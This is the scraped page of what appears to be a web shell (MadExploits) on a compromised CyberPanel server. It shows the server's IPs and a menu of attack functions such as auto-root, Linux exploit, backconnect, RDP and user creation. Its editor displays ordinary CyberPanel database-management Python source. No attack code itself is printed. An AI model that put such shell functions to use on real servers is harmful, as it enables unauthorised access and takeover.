Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
databases /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
migrations
[ DIR ]
drwxr-xr-x
static
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
.DS_Store
6
KB
-rw-r--r--
__init__.py
0
B
-rw-r--r--
admin.py
149
B
-rw-r--r--
apps.py
119
B
-rw-r--r--
databaseManager.py
14.23
KB
-rw-r--r--
models.py
840
B
-rw-r--r--
mysqlOptimizer.py
3.29
KB
-rw-r--r--
pluginManager.py
1.24
KB
-rw-r--r--
signals.py
1.07
KB
-rw-r--r--
tests.py
2.01
KB
-rw-r--r--
urls.py
1.8
KB
-rw-r--r--
views.py
15.81
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : databaseManager.py
#!/usr/local/CyberCP/bin/python import os.path import sys import django from django.shortcuts import redirect sys.path.append('/usr/local/CyberCP') os.environ.setdefault("DJANGO_SETTINGS_MODULE", "CyberCP.settings") django.setup() from django.http import HttpResponse import json from plogical.acl import ACLManager import plogical.CyberCPLogFileWriter as logging from plogical.mysqlUtilities import mysqlUtilities from websiteFunctions.models import Websites from databases.models import Databases, DBMeta import argparse from loginSystem.models import Administrator import plogical.randomPassword as randomPassword from plogical.httpProc import httpProc from backup.models import DBUsers class DatabaseManager: REMOTE_ACCESS = 'remote_access' def loadDatabaseHome(self, request = None, userID = None): template = 'databases/index.html' proc = httpProc(request, template, None, 'createDatabase') return proc.render() def phpMyAdmin(self, request = None, userID = None): template = 'databases/phpMyAdmin.html' proc = httpProc(request, template, None, 'createDatabase') return proc.render() def createDatabase(self, request = None, userID = None): currentACL = ACLManager.loadedACL(userID) websitesName = ACLManager.findAllSites(currentACL, userID) template = 'databases/createDatabase.html' proc = httpProc(request, template, {'websitesList': websitesName}, 'createDatabase') return proc.render() def submitDBCreation(self, userID = None, data = None, rAPI = None): try: currentACL = ACLManager.loadedACL(userID) admin = Administrator.objects.get(pk=userID) if ACLManager.currentContextPermission(currentACL, 'createDatabase') == 0: return ACLManager.loadErrorJson('createDBStatus', 0) databaseWebsite = data['databaseWebsite'] dbName = data['dbName'] dbUsername = data['dbUsername'] dbPassword = data['dbPassword'] webUsername = data['webUserName'] if ACLManager.checkOwnership(databaseWebsite, admin, currentACL) == 1: pass else: return ACLManager.loadErrorJson() if rAPI == None: dbName = webUsername + "_" + dbName dbUsername = webUsername + "_" + dbUsername result = mysqlUtilities.submitDBCreation(dbName, dbUsername, dbPassword, databaseWebsite) if result[0] == 1: data_ret = {'status': 1, 'createDBStatus': 1, 'error_message': "None", 'dbName': dbName, 'dbUsername': dbUsername} json_data = json.dumps(data_ret) return HttpResponse(json_data) else: data_ret = {'status': 0, 'createDBStatus': 0, 'error_message': result[1]} json_data = json.dumps(data_ret) return HttpResponse(json_data) except BaseException as msg: data_ret = {'status': 0, 'createDBStatus': 0, 'error_message': str(msg)} json_data = json.dumps(data_ret) return HttpResponse(json_data) def deleteDatabase(self, request = None, userID = None): currentACL = ACLManager.loadedACL(userID) websitesName = ACLManager.findAllSites(currentACL, userID) template = 'databases/deleteDatabase.html' proc = httpProc(request, template, {'websitesList': websitesName}, 'deleteDatabase') return proc.render() def MySQLManager(self, request = None, userID = None): try: from plogical.processUtilities import ProcessUtilities if ProcessUtilities.decideServer() == ProcessUtilities.OLS: url = "https://platform.cyberpersons.com/CyberpanelAdOns/Adonpermission" data = { "name": "Filemanager", "IP": ACLManager.fetchIP() } import requests response = requests.post(url, data=json.dumps(data)) Status = response.json()['status'] if (Status == 1): template = 'baseTemplate/FileManager.html' else: return redirect("https://cyberpanel.net/cyberpanel-addons") else: template = 'databases/mysqlmanager.html' except BaseException as msg: template = 'databases/mysqlmanager.html' template = 'databases/mysqlmanager.html' proc = httpProc(request, template, None, 'admin') return proc.render() def OptimizeMySQL(self, request = None, userID = None): from cloudAPI.cloudManager import CloudManager cm = CloudManager() result = cm.fetchRam(request) data1 = json.loads(result.content) data = {} data['ramInGB'] = data1.get('ramInGB') data['conf'] = data1.get('conf') template = 'databases/OptimizeMySQL.html' proc = httpProc(request, template, data, 'admin') return proc.render() def Upgardemysql(self, request = None, userID = None): data={} data['mysqlversions']=['10.6','10.11'] template = 'databases/Updatemysql.html' proc = httpProc(request, template, data, 'admin') return proc.render() def fetchDatabases(self, userID = None, data = None): try: currentACL = ACLManager.loadedACL(userID) if ACLManager.currentContextPermission(currentACL, 'deleteDatabase') == 0: return ACLManager.loadErrorJson('fetchStatus', 0) databaseWebsite = data['databaseWebsite'] admin = Administrator.objects.get(pk=userID) if ACLManager.checkOwnership(databaseWebsite, admin, currentACL) == 1: pass else: return ACLManager.loadErrorJson() website = Websites.objects.get(domain=databaseWebsite) databases = Databases.objects.filter(website=website) json_data = "[" checker = 0 for items in databases: dic = {'id': items.pk, 'dbName': items.dbName, 'dbUser': items.dbUser, } if checker == 0: json_data = json_data + json.dumps(dic) checker = 1 else: json_data = json_data + ',' + json.dumps(dic) json_data = json_data + ']' final_json = json.dumps({'status': 1, 'fetchStatus': 1, 'error_message': "None", "data": json_data}) return HttpResponse(final_json) except BaseException as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg)) final_json = json.dumps({'status': 0, 'fetchStatus': 0, 'error_message': str(msg)}) return HttpResponse(final_json) def submitDatabaseDeletion(self, userID = None, data = None): try: currentACL = ACLManager.loadedACL(userID) admin = Administrator.objects.get(pk=userID) if ACLManager.currentContextPermission(currentACL, 'deleteDatabase') == 0: return ACLManager.loadErrorJson('deleteStatus', 0) dbName = data['dbName'] db = Databases.objects.get(dbName=dbName) if ACLManager.checkOwnership(db.website.domain, admin, currentACL) == 1: pass else: return ACLManager.loadErrorJson() result = mysqlUtilities.submitDBDeletion(dbName) if result[0] == 1: data_ret = {'status': 1, 'deleteStatus': 1, 'error_message': "None"} json_data = json.dumps(data_ret) return HttpResponse(json_data) else: data_ret = {'status': 0, 'deleteStatus': 0, 'error_message': result[1]} json_data = json.dumps(data_ret) return HttpResponse(json_data) except BaseException as msg: data_ret = {'status': 0, 'deleteStatus': 0, 'error_message': str(msg)} json_data = json.dumps(data_ret) return HttpResponse(json_data) def listDBs(self, request = None, userID = None): currentACL = ACLManager.loadedACL(userID) AllWebsites = ACLManager.findAllSites(currentACL, userID) template = 'databases/listDataBases.html' proc = httpProc(request, template, {'AllWebsites': AllWebsites}, 'listDatabases') return proc.render() def changePassword(self, userID = None, data = None): try: currentACL = ACLManager.loadedACL(userID) if ACLManager.currentContextPermission(currentACL, 'listDatabases') == 0: return ACLManager.loadErrorJson('changePasswordStatus', 0) userName = data['dbUserName'] dbPassword = data['dbPassword'] db = Databases.objects.filter(dbUser=userName) admin = Administrator.objects.get(pk=userID) if ACLManager.checkOwnership(db[0].website.domain, admin, currentACL) == 1: pass else: return ACLManager.loadErrorJson() try: meta = DBMeta.objects.get(database=db[0], key=DatabaseManager.REMOTE_ACCESS) host = json.loads(meta.value)['remoteIP'] except: host = None res = mysqlUtilities.changePassword(userName, dbPassword, None, host) if res == 0: data_ret = {'status': 0, 'changePasswordStatus': 0,'error_message': "Please see CyberPanel main log file."} json_data = json.dumps(data_ret) return HttpResponse(json_data) data_ret = {'status': 1, 'changePasswordStatus': 1, 'error_message': "None"} json_data = json.dumps(data_ret) return HttpResponse(json_data) except BaseException as msg: data_ret = {'status': 0, 'changePasswordStatus': 0, 'error_message': str(msg)} json_data = json.dumps(data_ret) return HttpResponse(json_data) def remoteAccess(self, userID = None, data = None): try: currentACL = ACLManager.loadedACL(userID) if ACLManager.currentContextPermission(currentACL, 'listDatabases') == 0: return ACLManager.loadErrorJson('changePasswordStatus', 0) userName = data['dbUserName'] db = Databases.objects.filter(dbUser=userName) admin = Administrator.objects.get(pk=userID) if ACLManager.checkOwnership(db[0].website.domain, admin, currentACL) == 1: pass else: return ACLManager.loadErrorJson() try: meta = DBMeta.objects.get(database=db[0], key=DatabaseManager.REMOTE_ACCESS) data_ret = {'status': 1, 'dbHost': json.loads(meta.value)['remoteIP']} json_data = json.dumps(data_ret) return HttpResponse(json_data) except BaseException as msg: data_ret = {'status': 1, 'dbHost': 'localhost'} json_data = json.dumps(data_ret) return HttpResponse(json_data) except BaseException as msg: data_ret = {'status': 0,'error_message': str(msg)} json_data = json.dumps(data_ret) return HttpResponse(json_data) def allowRemoteIP(self, userID = None, data = None): try: currentACL = ACLManager.loadedACL(userID) if ACLManager.currentContextPermission(currentACL, 'listDatabases') == 0: return ACLManager.loadErrorJson('changePasswordStatus', 0) userName = data['dbUserName'] remoteIP = data['remoteIP'] db = Databases.objects.filter(dbUser=userName) admin = Administrator.objects.get(pk=userID) if ACLManager.checkOwnership(db[0].website.domain, admin, currentACL) == 1: pass else: return ACLManager.loadErrorJson() mysqlUtilities.allowRemoteAccess(db[0].dbName, userName, remoteIP) mysqlUtilities.createDatabase(db[0].dbName, userName, 'cyberpanel', 0, remoteIP) dbUserInMysql = DBUsers.objects.get(user=userName, host='localhost') mysqlUtilities.changePassword(userName, dbUserInMysql.password, 1, remoteIP) metaData = {'remoteIP': remoteIP} try: meta = DBMeta.objects.get(database=db[0], key=DatabaseManager.REMOTE_ACCESS) meta.value = json.dumps(metaData) meta.save() except: DBMeta(database=db[0], value = json.dumps(metaData), key=DatabaseManager.REMOTE_ACCESS).save() data_ret = {'status': 1} json_data = json.dumps(data_ret) return HttpResponse(json_data) except BaseException as msg: data_ret = {'status': 0,'error_message': str(msg)} json_data = json.dumps(data_ret) return HttpResponse(json_data) @staticmethod def generatePHPMYAdminData(userID): try: admin = Administrator.objects.get(id=userID) path = '/etc/cyberpanel/' + admin.userName currentACL = ACLManager.loadedACL(userID) websiteOBJs = ACLManager.findWebsiteObjects(currentACL, userID) finalUserPassword = randomPassword.generate_pass() writeToFile = open(path, 'w') writeToFile.write(finalUserPassword) writeToFile.close() mysqlUtilities.createDBUser(admin.userName, finalUserPassword) mysqlUtilities.changePassword(admin.userName, finalUserPassword) for webs in websiteOBJs: for db in webs.databases_set.all(): mysqlUtilities.allowGlobalUserAccess(admin.userName, db.dbName) print("1," + finalUserPassword) except BaseException as msg: print("0," + str(msg)) def main(): parser = argparse.ArgumentParser(description='CyberPanel Installer') parser.add_argument('function', help='Specific a function to call!') parser.add_argument('--userID', help='Logged in user ID') args = parser.parse_args() if args.function == "generatePHPMYAdminData": DatabaseManager.generatePHPMYAdminData(int(args.userID)) if __name__ == "__main__": main()
Close